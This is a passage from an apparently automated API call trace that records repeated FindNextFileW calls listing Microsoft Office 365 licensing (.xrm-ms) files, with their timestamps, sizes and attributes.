dwReserved1=0x0, cFileName="O365HomePremR_Subscription2-ppd.xrm-ms", cAlternateFileName="O36B97~1.XRM")) returned 1 [0194.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5a631e9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5a631e9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5b94335, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription2-ul-oob.xrm-ms", cAlternateFileName="O381C0~1.XRM")) returned 1 [0194.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe59a44ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe59a44ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5ad5847, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription3-pl.xrm-ms", cAlternateFileName="O3FF0E~1.XRM")) returned 1 [0194.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe595804a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe595804a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5a631e9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x67ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription3-ppd.xrm-ms", cAlternateFileName="O32FFC~1.XRM")) returned 1 [0194.214] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe589944e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe589944e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe597e395, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription3-ul-oob.xrm-ms", cAlternateFileName="O3C0D2~1.XRM")) returned 1 [0194.215] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe597e395, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe597e395, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5a893f7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription4-pl.xrm-ms", cAlternateFileName="O35B45~1.XRM")) returned 1 [0194.215] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5931e55, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5931e55, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5a3cfb3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x67ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription4-ppd.xrm-ms", cAlternateFileName="O3F5C1~1.XRM")) returned 1 [0194.215] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5931e55, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5931e55, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5afba39, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription4-ul-oob.xrm-ms", cAlternateFileName="O370C7~1.XRM")) returned 1 [0194.215] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5c9f573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5c9f573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5d37d8b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription5-pl.xrm-ms", cAlternateFileName="O397F0~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5c791bb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5c791bb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5d11b2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x67ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription5-ppd.xrm-ms", cAlternateFileName="O3057F~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5c52f59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5c52f59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5ceb8e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_Subscription5-ul-oob.xrm-ms", cAlternateFileName="O3FD01~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5c2ccf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5c2ccf4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5cc5650, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest1-pl.xrm-ms", cAlternateFileName="O35B7D~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5fc05cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5fc05cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe60f1896, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest1-ppd.xrm-ms", cAlternateFileName="O3955A~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5afba39, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5afba39, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5f9a39c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest1-ul-oob.xrm-ms", cAlternateFileName="O353AD~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5bba5ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5bba5ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5c9f573, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest2-pl.xrm-ms", cAlternateFileName="O3B6B4~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5b6e14c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5b6e14c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5c52f59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest2-ppd.xrm-ms", cAlternateFileName="O3F44A~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5b47f19, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5b47f19, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5c2ccf4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest2-ul-oob.xrm-ms", cAlternateFileName="O3149B~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5b94335, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5b94335, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5c791bb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest3-pl.xrm-ms", cAlternateFileName="O33C81~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5fc05cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5fc05cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe607f17a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest3-ppd.xrm-ms", cAlternateFileName="O3BFD7~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe60f1896, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe60f1896, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe61d6728, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest3-ul-oob.xrm-ms", cAlternateFileName="O3E990~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5e1cbb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5e1cbb7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe600ca61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest4-pl.xrm-ms", cAlternateFileName="O3D05A~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5df6968, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5df6968, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5fe6802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest4-ppd.xrm-ms", cAlternateFileName="O34B59~1.XRM")) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5dd0763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5dd0763, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6058f9b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest4-ul-oob.xrm-ms", cAlternateFileName="O3E65D~1.XRM")) returned 1 [0194.217] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5cc5650, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5cc5650, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5daa4c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest5-pl.xrm-ms", cAlternateFileName="O37513~1.XRM")) returned 1 [0194.217] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5dd0763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5dd0763, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5fc05cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest5-ppd.xrm-ms", cAlternateFileName="O369C8~1.XRM")) returned 1 [0194.217] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5d37d8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5d37d8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5e1cbb7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTest5-ul-oob.xrm-ms", cAlternateFileName="O3A74B~1.XRM")) returned 1 [0194.217] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5d11b2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5d11b2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5df6968, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2baf, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial1-pl.xrm-ms", cAlternateFileName="O3B637~1.XRM")) returned 1 [0194.217] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5ceb8e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5ceb8e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5dd0763, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial1-ppd.xrm-ms", cAlternateFileName="O32BFF~1.XRM")) returned 1 [0194.217] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe61b0488, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe61b0488, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6248ddb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d73, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial1-ul-oob.xrm-ms", cAlternateFileName="O3BAC6~1.XRM")) returned 1 [0194.217] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe61b0488, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe61b0488, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6353e21, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2baf, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial2-pl.xrm-ms", cAlternateFileName="O325AC~1.XRM")) returned 1 [0194.217] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6117ab6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6117ab6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe61fc917, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial2-ppd.xrm-ms", cAlternateFileName="O3A06B~1.XRM")) returned 1 [0194.217] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6353e21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6353e21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6412a1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d73, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial2-ul-oob.xrm-ms", cAlternateFileName="O386C3~1.XRM")) returned 1 [0194.218] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe60a53cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe60a53cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6163f9f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2baf, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial3-pl.xrm-ms", cAlternateFileName="O380E3~1.XRM")) returned 1 [0194.218] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5fe6802, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5fe6802, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe60a53cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial3-ppd.xrm-ms", cAlternateFileName="O3458D~1.XRM")) returned 1 [0194.218] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe60cb644, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe60cb644, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe61b0488, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d73, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial3-ul-oob.xrm-ms", cAlternateFileName="O3E705~1.XRM")) returned 1 [0194.218] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe607f17a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe607f17a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6117ab6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2baf, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial4-pl.xrm-ms", cAlternateFileName="O36262~1.XRM")) returned 1 [0194.218] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe607f17a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe607f17a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6222ba8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial4-ppd.xrm-ms", cAlternateFileName="O3CAE8~1.XRM")) returned 1 [0194.218] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe600ca61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe600ca61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe60cb644, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d73, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial4-ul-oob.xrm-ms", cAlternateFileName="O3B67A~1.XRM")) returned 1 [0194.218] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7d1b583, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe7d1b583, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe7ebef60, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2baf, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial5-pl.xrm-ms", cAlternateFileName="O3072B~1.XRM")) returned 1 [0194.218] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651da72, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe651da72, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe664edb3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial5-ppd.xrm-ms", cAlternateFileName="O3CFAB~1.XRM")) returned 1 [0194.218] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe632dbcf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe632dbcf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe63ec79f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d73, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365HomePremR_SubTrial5-ul-oob.xrm-ms", cAlternateFileName="O3F58C~1.XRM")) returned 1 [0194.218] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe63079a2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe63079a2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe63c64e0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2bcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusDemoR_BypassTrial180-pl.xrm-ms", cAlternateFileName="O338DF~1.XRM")) returned 1 [0194.218] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62bb50d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe62bb50d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe637a07d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f42, dwReserved0=0x0, dwReserved1=0x0, cFileName="O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms", cAlternateFileName="O3737D~1.XRM")) returned 1 [0194.218] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe626f052, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe626f052, 